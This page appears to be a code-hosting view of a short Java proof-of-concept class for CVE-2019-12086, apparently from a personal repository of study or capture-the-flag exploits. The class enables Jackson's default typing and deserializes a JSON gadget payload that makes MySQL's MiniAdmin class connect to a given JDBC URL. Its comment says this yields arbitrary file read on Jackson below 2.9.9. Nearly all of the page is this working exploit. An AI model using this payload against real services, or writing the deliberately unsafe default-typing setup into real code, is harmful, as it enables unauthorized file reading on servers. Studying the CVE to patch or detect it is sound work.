MCPcopy Create free account
hub / github.com/Firebasky/Java / CVE_2019_12086

Class CVE_2019_12086

jackson/src/main/java/com/firebasky/cve/CVE_2019_12086.java:8–17  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

6import java.sql.SQLException;
7
8public class CVE_2019_12086 {
9 //任意文件读取com.fasterxml.jackson.core <2.9.9
10 public static void main(String[] args) throws SQLException, IOException {
11 ObjectMapper mapper = new ObjectMapper();
12 mapper.enableDefaultTyping();
13 //开启 enableDefaultTyping ,使用构造方法反序列化的方式反序列化 MiniAdmin 类
14 String json = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://127.0.0.1:3307/?user=flag\"]";
15 mapper.readValue(json, Object.class);
16 }
17}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected